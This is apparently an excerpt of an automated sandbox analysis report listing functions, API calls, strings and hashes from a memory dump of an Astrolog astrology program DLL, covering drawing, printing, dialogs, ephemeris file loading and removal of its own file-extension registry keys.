_sprintf.LIBCMT ref: 6C8214E0

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C8214BC

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

Strings

Astrolog, xrefs: 6C8214AE
%s %s exited., xrefs: 6C8214B6
%c[0m, xrefs: 6C8214DA
7.10, xrefs: 6C8214A9

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CapsDevicePageTextViewport_sprintf$ColorModeStartWindow
String ID: %s %s exited.$%c[0m$7.10$Astrolog
API String ID: 4220044351-2699022826
Opcode ID: e260572b347a45b55004b2705830ee9d272f052cf3a5191458731b9ee626abd8
Instruction ID: 3ac9973195f363309159f9667003dfcd1be497e701d5e1774a230697dbb52390
Opcode Fuzzy Hash: e260572b347a45b55004b2705830ee9d272f052cf3a5191458731b9ee626abd8
Instruction Fuzzy Hash: 7C012171A011089ACB20DBA5C64AADA73B59B0420CF604C35940656F80DB79EA48CB81

Function 6C862A72 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 28COMMON

Download Yara Rule

APIs

SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\.as,?,?,6C85DE40), ref: 6C862A85
SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\Astrolog.as,?,?,6C85DE40), ref: 6C862A91

Strings

Software\Classes\Astrolog.as, xrefs: 6C862A8B
Software\Classes\.as, xrefs: 6C862A7A
Failed to unregister Astrolog file extensions., xrefs: 6C862A97
Unregistered Astrolog as owner of file extension ".as"., xrefs: 6C862AB3

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Delete
String ID: Failed to unregister Astrolog file extensions.$Software\Classes\.as$Software\Classes\Astrolog.as$Unregistered Astrolog as owner of file extension ".as".
API String ID: 1035893169-4235977552
Opcode ID: 250c84217bea26449d5f8ed55e6878feeacd1a86ab0f8c89111603ea9f4a1a33
Instruction ID: 879e6f8b5d967457a3546c61f336af009b2aec1f3ea93a71c6f23ee23ea2b415
Opcode Fuzzy Hash: 250c84217bea26449d5f8ed55e6878feeacd1a86ab0f8c89111603ea9f4a1a33
Instruction Fuzzy Hash: 08E02002A2002211573021B75F04DD745698BC375EB170CBAF800D7E00D74CDC42C3F0

Function 6C8AA5BF Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6C8AA5E0

Part of subcall function 6C889165: __getptd_noexit.LIBCMT ref: 6C889168
Part of subcall function 6C889165: __amsg_exit.LIBCMT ref: 6C889175

__getptd.LIBCMT ref: 6C8AA5F1
__getptd.LIBCMT ref: 6C8AA5FF

Strings

MOC, xrefs: 6C8AA5D2
csm, xrefs: 6C8AA5D9
RCC, xrefs: 6C8AA5CB

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 012984891b7e74e1023b24e1d8871330a863dc710b28b2862d6353ca22dc5f48
Instruction ID: 2e448b4f30b852c61dae9b6c0f6b42d47a500d07d456f9199a6b23411c188b5d
Opcode Fuzzy Hash: 012984891b7e74e1023b24e1d8871330a863dc710b28b2862d6353ca22dc5f48
Instruction Fuzzy Hash: 5BE012345051048EC73197A8C3897D933A4BB4821CF5549B1E51CC7F61C77CE8958D42

Function 6C867D4C Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 365COMMON

Download Yara Rule

APIs

Part of subcall function 6C87DB5F: _fprintf.LIBCMT ref: 6C87DBEA
Part of subcall function 6C87DB5F: _fprintf.LIBCMT ref: 6C87DBFA
Part of subcall function 6C87DB5F: _fprintf.LIBCMT ref: 6C87DC5F
Part of subcall function 6C87DB5F: _fprintf.LIBCMT ref: 6C87DCA5

_sprintf.LIBCMT ref: 6C867FE7
_sprintf.LIBCMT ref: 6C86816E

Part of subcall function 6C869525: _sprintf.LIBCMT ref: 6C869576

Strings

%s%s%.3s %s %s (%cT Zone %s) %s%s%s, xrefs: 6C868168
(No time or space), xrefs: 6C867FCB
(Composite), xrefs: 6C867FDB

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf$_sprintf
String ID: %s%s%.3s %s %s (%cT Zone %s) %s%s%s$(Composite)$(No time or space)
API String ID: 364784897-2407286440
Opcode ID: 7c4135635614662d73e0e695791aeb3a4b85999f3ba490fe2c7b44c1df3a4bc2
Instruction ID: f5e81fda810b5dfb907c9df9cc38f2d30f01dabd843c16ecaead99076d05d7f9
Opcode Fuzzy Hash: 7c4135635614662d73e0e695791aeb3a4b85999f3ba490fe2c7b44c1df3a4bc2
Instruction Fuzzy Hash: F5C1D5716095059BDF31AB6B9B86EA93374E70735CF240E7BD16492E81DB348888CBD2

Function 6C82BDB1 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C82BE02
__floor_pentium4.LIBCMT ref: 6C82BE16
__floor_pentium4.LIBCMT ref: 6C82BE57
__floor_pentium4.LIBCMT ref: 6C82BE6B
__floor_pentium4.LIBCMT ref: 6C82BEB5
__floor_pentium4.LIBCMT ref: 6C82BEDC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: e28fa2b2b8aa68844aa7e0d8dd667a171a95f2acd5a8815eecfc9d0dbcb88f84
Instruction ID: 81ef07d2a4a632f1668ead26960e8801e3310b3cc9a633228871ae70c46bc21c
Opcode Fuzzy Hash: e28fa2b2b8aa68844aa7e0d8dd667a171a95f2acd5a8815eecfc9d0dbcb88f84
Instruction Fuzzy Hash: 49414971904D1EE2EF242FA0E6091EEBF34FB89355F9249A8D5D120498DF3648B9C3C9

Function 6C838585 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C8385D6
__floor_pentium4.LIBCMT ref: 6C8385EA
__floor_pentium4.LIBCMT ref: 6C83862B
__floor_pentium4.LIBCMT ref: 6C83863F
__floor_pentium4.LIBCMT ref: 6C838689
__floor_pentium4.LIBCMT ref: 6C8386B0

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 810fd4a604c2fbc10adaaa1a9f10f4e6591ddb499c8e1eee0573e8dcbac5b4c2
Instruction ID: 7ea9320896d1b7e533e2b59e8e8b7f4903899fd59e2e7ac8933b7a07073ecc7a
Opcode Fuzzy Hash: 810fd4a604c2fbc10adaaa1a9f10f4e6591ddb499c8e1eee0573e8dcbac5b4c2
Instruction Fuzzy Hash: 1141497190491EE2DF142FA0EA091EEBF34FB89355F9249AAD5D4604A8DF3608B9C385

Function 6C85ACA0 Relevance: 9.1, APIs: 6, Instructions: 92COMMON

Download Yara Rule

APIs

DialogBoxParamA.USER32(000000CC,Function_0005A3C0,00000000), ref: 6C85AD0E
IsDlgButtonChecked.USER32(?,000004B7), ref: 6C85AD29
IsDlgButtonChecked.USER32(?,000004B8), ref: 6C85AD3A
IsDlgButtonChecked.USER32(?,000004B9), ref: 6C85AD4B
EndDialog.USER32(?,00000001), ref: 6C85AD63
CheckRadioButton.USER32(?,000004B7,000004BA,000004B7), ref: 6C85AD9E

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Button$Checked$Dialog$CheckParamRadio
String ID:
API String ID: 248094426-0
Opcode ID: 13f8b0ec296996cd207d5f02d9548ef15a561c202958fdcae062911d647bbcf1
Instruction ID: 6b667133288798b2319994e9764470761bbc2b63892c3c60dee9fd962bede27e
Opcode Fuzzy Hash: 13f8b0ec296996cd207d5f02d9548ef15a561c202958fdcae062911d647bbcf1
Instruction Fuzzy Hash: 60213A716401069AEBB12A38CE84FF936A9D702B5BF904E36FA21D64C4D7F8D452C5B0

Function 6C877FD6 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 305COMMON

Download Yara Rule

APIs

Part of subcall function 6C87D1C1: _fprintf.LIBCMT ref: 6C87D23E

Part of subcall function 6C87DCFF: MoveToEx.GDI32(00000003,?,00000000,?), ref: 6C87DD56
Part of subcall function 6C87DCFF: LineTo.GDI32(00000000,?), ref: 6C87DD68
Part of subcall function 6C87DCFF: SetPixel.GDI32(00000000,?,?,6C87F814), ref: 6C87DD86

Part of subcall function 6C87DCFF: _fprintf.LIBCMT ref: 6C87DDE6

__floor_pentium4.LIBCMT ref: 6C8780EE
_sprintf.LIBCMT ref: 6C878275
_sprintf.LIBCMT ref: 6C87830F

Part of subcall function 6C87E9CE: _fprintf.LIBCMT ref: 6C87EAD0

Strings

%c%3d%%, xrefs: 6C87826F
%c%d, xrefs: 6C878309

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf$_sprintf$LineMovePixel__floor_pentium4
String ID: %c%3d%%$%c%d
API String ID: 134622598-1508660437
Opcode ID: f9c6acec1cb77f8cf3ce56304f289c848445c284fff37d1ee8f7e7f0c99682fa
Instruction ID: 6f7d72488315477d1a458d62790f31edd78d4f514d3e575fdd46b021f3f45543
Opcode Fuzzy Hash: f9c6acec1cb77f8cf3ce56304f289c848445c284fff37d1ee8f7e7f0c99682fa
Instruction Fuzzy Hash: 59B1AF72E006188BCF24DFA8CE45ADDB7B5FB49308F15456AE409EB650EB30AD45CF90

Function 6C87DAED Relevance: 9.0, APIs: 6, Instructions: 30windowCOMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(00000001), ref: 6C87DAF5
SelectObject.GDI32(00000000), ref: 6C87DB0D
PatBlt.GDI32(00000000,00000000,00000000,00000000,00F00021), ref: 6C87DB3A
GetStockObject.GDI32(00000005), ref: 6C87DB42
SelectObject.GDI32(00000000), ref: 6C87DB4F
DeleteObject.GDI32 ref: 6C87DB57

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Object$Select$BrushCreateDeleteSolidStock
String ID:
API String ID: 2295513923-0
Opcode ID: 8d7a409b7b1e112f94f8ad9313ab2595dcc3c67543bad4e7f9c10dc682da6a8b
Instruction ID: 9d1c2e4642b9cd6a9c128626ffbec2fb0473f38f26a501efd9600e7a8073a8ca
Opcode Fuzzy Hash: 8d7a409b7b1e112f94f8ad9313ab2595dcc3c67543bad4e7f9c10dc682da6a8b
Instruction Fuzzy Hash: E6F0A471700110EFDF609B97ED09E7A3AB9E70B3993010023BA29C2160D6754851DBD0

Function 6C856DD6 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

_fgets.LIBCMT ref: 6C856E58
_fgets.LIBCMT ref: 6C856EF4

Part of subcall function 6C8483BC: _sprintf.LIBCMT ref: 6C84858D

Strings

.;C:\Astrolog\, xrefs: 6C856DF7, 6C856DFC, 6C856E21
sedeltat.mdb, xrefs: 6C856E26
swe_deltat.mdb, xrefs: 6C856E01

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fgets$_sprintf
String ID: .;C:\Astrolog\$sedeltat.mdb$swe_deltat.mdb
API String ID: 73881602-1755570801
Opcode ID: 72be06ae4b275b548b62366e43d26d78f761e8d28c458863c770e384359999fd
Instruction ID: a58d9fb4817e533103da91c94b61f2e2950bd252cbbb45ebfa7aac56dedeeb0c
Opcode Fuzzy Hash: 72be06ae4b275b548b62366e43d26d78f761e8d28c458863c770e384359999fd
Instruction Fuzzy Hash: DD318E71A0A1195ADB308A28DF407E977B88F12358FB009B9D4D0D2BD0EFB99DD9CA50

Function 6C841409 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 6C84142B
_malloc.LIBCMT ref: 6C841453
_malloc.LIBCMT ref: 6C841476

Strings

error in malloc() with JPL ephemeris., xrefs: 6C841501
de431.eph, xrefs: 6C841412

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _malloc$_calloc
String ID: de431.eph$error in malloc() with JPL ephemeris.
API String ID: 1399125125-1894690391
Opcode ID: 07a1218e44b51cdd42ac0e23d74e02c7570fe7799280deb8588b7e2fd2d4dd0a
Instruction ID: 222a8c6f30a479f6fced34e8ff44b03386d9f8c2bd7f173a7ce292080a6dc3c3
Opcode Fuzzy Hash: 07a1218e44b51cdd42ac0e23d74e02c7570fe7799280deb8588b7e2fd2d4dd0a
